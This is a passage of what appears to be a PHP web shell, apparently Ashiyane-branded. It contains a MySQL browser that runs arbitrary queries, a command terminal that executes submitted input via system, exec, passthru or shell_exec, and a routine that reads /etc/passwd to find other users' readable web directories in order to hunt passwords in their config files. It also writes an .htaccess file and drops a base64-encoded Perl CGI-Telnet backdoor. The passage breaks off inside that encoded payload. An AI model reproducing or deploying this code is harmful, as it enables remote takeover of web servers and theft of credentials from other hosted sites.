2300 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
2301 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
2302 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
2303 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
2304 <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
2305 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
2306 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
2307 </form>
2308 </div> ";
2309 $columns = array();
2310 $msg = "<table class=\"explore\" style=\"width:99%;\">";
2311 $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
2312 while(list($column) = @mysql_fetch_row($hasil))
2313 {
2314 $msg .= "<th>$column</th>"; $kolum = $column;
2315 }
2316 $msg .= "</tr>";
2317 $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
2318 list($total) = mysql_fetch_row($hasil);
2319 if(isset($_GET['z'])) $page = (int) $_GET['z'];
2320 else $page = 1;
2321 $pagenum = 100;
2322 $totpage = ceil($total / $pagenum);
2323 $start = (($page - 1) * $pagenum);
2324 $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
2325 while($datas = @mysql_fetch_assoc($hasil))
2326 {
2327 $msg .= "<tr>";
2328 foreach($datas as $data){ if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; }
2329 $msg .= "</tr>";
2330 }
2331 $msg .= "</table>";
2332 $head = "<div style=\"padding:10px 0 0 6px;\">
2333 <form action=\"?\" method=\"get\">
2334 <input type=\"hidden\" name=\"action\" value=\"sql\" />
2335 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
2336 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
2337 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
2338 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
2339 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
2340 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
2341 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
2342 <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
2343 Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
2344 for($i = 1;$i <= $totpage;$i++)
2345 {
2346 $head .= "<option value=\"".$i."\">".$i."</option>";
2347 if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
2348 }
2349 $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
2350 $msg = $msgq.$head.$msg;
2351 }
2352 elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != ""))
2353 {
2354 $db = $_GET['db'];
2355 $query = $_GET['sqlquery'];
2356 $msg = "<div style=\"width:99%;padding:0 10px;\">
2357 <form action=\"?\" method=\"get\">
2358 <input type=\"hidden\" name=\"action\" value=\"sql\" />
2359 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
2360 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
2361 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
2362 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
2363 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
2364 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
2365 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
2366 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
2367 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
2368 </form>
2369 </div> ";
2370 @mysql_select_db($db);
2371 $querys = explode(";",$query);
2372 foreach($querys as $query)
2373 {
2374 if(trim($query) != "")
2375 {
2376 $hasil = mysql_query($query);
2377 if($hasil)
2378 {
2379 $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";
2380 <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
2381 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
2382 for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
2383 $msg .= "</tr>";
2384 for($i=0;$i<@mysql_num_rows($hasil);$i++)
2385 {
2386 $rows=@mysql_fetch_array($hasil);
2387 $msg .= "<tr>";
2388 for($j=0;$j<@mysql_num_fields($hasil);$j++)
2389 {
2390 if($rows[$j] == "") $dataz = " ";
2391 else $dataz = $rows[$j];
2392 $msg .= "<td>".$dataz."</td>";
2393 }
2394 $msg .= "</tr>";
2395 }
2396 $msg .= "</table>";
2397 }
2398 else
2399 $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
2400 }
2401 }
2402 }
2403 else
2404 {
2405 $query = "SHOW PROCESSLIST;\n
2406 SHOW VARIABLES;\n
2407 SHOW STATUS;";
2408 $msg = "<div style=\"width:99%;padding:0 10px;\">
2409 <form action=\"?\" method=\"get\">
2410 <input type=\"hidden\" name=\"action\" value=\"sql\" />
2411 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
2412 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
2413 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
2414 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
2415 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
2416 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
2417 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
2418 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
2419 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
2420 </form>
2421 </div> ";
2422 $dbs = array();
2423 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
2424 $hasil = @mysql_list_dbs($con);
2425 while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); }
2426 @sort($dbs);
2427 foreach($dbs as $db)
2428 {
2429 $msg .= "<tr><td><a href=\"?action=sql&y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>";
2430 }
2431 $msg .= "</table>";
2432 }
2433 @mysql_close($con);
2434 }
2435 else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
2436 echo $msg;
2437 }
2438
2439 else {
2440 ?>
2441
2442 <form action="?" method="get">
2443 <input type="hidden" name="action" value="sql" />
2444 <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
2445 <input type="hidden" name="x" value="mysql" />
2446 <table class="tabnet" style="width:300px;">
2447 <tr>
2448 <th colspan="2">Connect to mySQL server</th>
2449 </tr>
2450 <tr>
2451 <td> Host</td>
2452 <td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td>
2453 </tr>
2454 <tr>
2455 <td> Username</td>
2456 <td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td>
2457 </tr>
2458 <tr>
2459 <td> Password</td>
2460 <td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="" /></td>
2461 </tr>
2462 <tr>
2463 <td> Port</td>
2464 <td><input style="width:80px;" class="inputz" type="number" name="sqlport" value="3306" min="1" max="65535"/> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
2465 </tr>
2466 </table>
2467 </form>
2468
2469<?php
2470} //end sql connector
2471
2472
2473
2474 }
2475 //terminal ~ by Mast3r 0mid
2476 if($action=="terminal"){
2477 echo "<style>#terminal{background: #A81F1F}</style>";
2478
2479$user = @get_current_user();
2480$prompt = $user." >";
2481$pwd = realpath(".")."\\";
2482function exe($cmd)
2483 {
2484 if(function_exists('system'))
2485 {
2486 @ob_start();
2487 @system($cmd);
2488 $buff = @ob_get_contents();
2489 @ob_end_clean();
2490 return $buff;
2491 }
2492 elseif(function_exists('exec'))
2493 {
2494 @exec($cmd,$results);
2495 $buff = "";
2496 foreach($results as $result)
2497 { $buff .= $result; }
2498 return $buff;
2499 }
2500 elseif(function_exists('passthru'))
2501 {
2502 @ob_start();
2503 @passthru($cmd);
2504 $buff = @ob_get_contents();
2505 @ob_end_clean();
2506 return $buff;
2507 }
2508 elseif(function_exists('shell_exec'))
2509 {
2510 $buff = @shell_exec($cmd);
2511 return $buff;
2512 }
2513 }
2514?>
2515<CENTER>
2516<form action="?action=terminal&CMD=shell#down" method="post">
2517 <table class="cmdbox">
2518 <tr>
2519 <td colspan="2">
2520 <a name="down"></a>
2521 <textarea style="width: 1000px; height: 400px;color: #FFF;background-color: #000;border: 2px solid #CE3F3F;font: 9pt Monospace,"Courier New";" class="output" readonly=""> $<?php if(isset($_POST['submitcmd'])) { echo htmlspecialchars($_POST['cmd'])."\n";}?><?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
2522 </td>
2523 </tr>
2524 <tr>
2525 <td colspan="2"><?php echo $prompt; ?>
2526 <input onMouseOver="this.focus();" id="cmd" class="input" type="text" name="cmd" style="width:60%;" value="" />
2527 <input class="inputbutn" type="submit" value="Execute !" name="submitcmd" style="width:12%;" />
2528 </td>
2529 </tr>
2530 </table>
2531 </form></CENTER>
2532
2533 <?php
2534 //end terminal
2535 }
2536 if($action=="basedir"){
2537 echo "<style>#basedir{background: #A81F1F}</style>";
2538echo '<div style="text-align:left">';
2539($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode is on</b>');
2540set_time_limit(0);
2541@$passwd = fopen('/etc/passwd','r');
2542if (!$passwd) { die('<b> <center><font color="#FFFFFF">Error : coudn`t read /etc/passwd</font></center></b>'); }
2543$pub = array();
2544$users = array();
2545$conf = array();
2546$i = 0;
2547while(!feof($passwd))
2548{
2549$str = fgets($passwd);
2550if ($i > 35)
2551{
2552$pos = strpos($str,':');
2553$username = substr($str,0,$pos);
2554$dirz = '/home/'.$username.'/public_html/';
2555if (($username != ''))
2556{
2557if (is_readable($dirz))
2558{
2559array_push($users,$username);
2560array_push($pub,$dirz);
2561}
2562}
2563}
2564$i++;
2565}
2566echo '<br><br>';
2567echo "<b><font color=\"#00A220\">Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br /></font></b>";
2568echo "<b><font color=\"#00A220\">Founded ".sizeof($pub)." readable public_html directories\n"."<br /></font></b>";
2569echo "<b><font color=\"#FFFFFF\">Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
2570foreach ($users as $user)
2571{
2572$p4th = "/home/$user/public_html/";
2573echo "<form method=get><span>Change Dir : <b><font color=\"#CE3F3F\">$user</font></b></span><br><input type='hidden' name='action' value='explorer'><input type=text name=dir value='$p4th'><input type=submit value='>>'></form><br>";
2574}
2575echo '<br><br></b>';
2576echo '</div>';
2577
2578
2579 }
2580
2581
2582 if($action=="cgiashiyane"){
2583 echo "<style>#cgiashiyane{background: #A81F1F}</style>";
2584if (!file_exists("cgiashiyane") && !is_dir("cgiashiyane")) {
2585 mkdir('cgiashiyane',0755);
2586}
2587chdir('cgiashiyane');
2588$ashiyane1 = '.htaccess';
2589$ashiyane2 = "$ashiyane1";
2590$ashiyane3 = fopen ($ashiyane2 ,'w') or die ('ERROR!!!');
2591$ashiyane4 = 'Options FollowSymLinks MultiViews Indexes ExecCGI
2592AddType application/x-httpd-cgi .ashiyane
2593AddHandler cgi-script .ashiyane
2594AddHandler cgi-script .ashiyane';
2595fwrite ( $ashiyane3 ,$ashiyane4 ) ;
2596fclose ($ashiyane3);
2597$ashiyane5 = " IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMCBmb3IgTlQgYW5kIFVuaXggOiBSdW4gQ29tbWFuZHMgb24geW91ciBXZWIgU2VydmVyDQojDQojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhDQojIFBlcm1pc3Npb24gaXMgZ3JhbnRlZCB0byB1c2UsIGRpc3RyaWJ1dGUgYW5kIG1vZGlmeSB0aGlzIHNjcmlwdCBzbyBsb25nDQojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0DQojIHBsZWFzZSBkb2N1bWVudCB0aGVtIGFuZCBpbmZvcm0gbWUuIElmIHlvdSB3b3VsZCBsaWtlIGFueSBjaGFuZ2VzIHRvIGJlIG1hZGUNCiMgaW4gdGhpcyBzY3JpcHQsIHlvdSBjYW4gZS1tYWlsIG1lLg0KIw0KIyBBdXRob3I6IFJvaGl0YWIgQmF0cmENCiMgQXV0aG9yIGUtbWFpbDogcm9oaXRhYkByb2hpdGFiLmNvbQ0KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vDQojIFNjcmlwdCBIb21lcGFnZTogbWFpbHRvOlVOSVRYX1RFQU1ASE9UTUFJTC5DT00NCiMgUHJvZHVjdCBTdXBwb3J0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL3N1cHBvcnQvDQojIERpc2N1c3Npb24gRm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8NCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0Lw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEluc3RhbGxhdGlvbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0DQojDQojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEvdXNyL2Jpbi9wZXJsIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uDQojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLg0KIyAyLiBDaGFuZ2UgdGhlIHBhc3N3b3JkIGluIHRoZSBDb25maWd1cmF0aW9uIHNlY3Rpb24gYmVsb3cuDQojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwgc2V0ICRXaW5OVCA9IDEgaW4gdGhlDQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4NCiMgNC4gVXBsb2FkIHRoZSBzY3JpcHQgdG8gYSBkaXJlY3Rvcnkgb24geW91ciBzZXJ2ZXIgd2hpY2ggaGFzIHBlcm1pc3Npb25zIHRvDQojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkDQojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4NCiMgNS4gQ2hhbmdlIHRoZSBwZXJtaXNzaW9uIChDSE1PRCkgb2YgdGhlIHNjcmlwdCB0byA3NTUuDQojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbg0KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsDQojIDcuIExvZ2luIHVzaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBzcGVjaWZpZWQgaW4gU3RlcCAyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXINCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCgkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QXNoaXlhbmU8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4NCjxiPjxmb250IGNvbG9yPSIjMDAwMDgwIiBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjMDA5OTAwIj48Yj5DR0ktVGVsbmV0IEFzaGl5YW5lIENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0MyQkZBNSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2R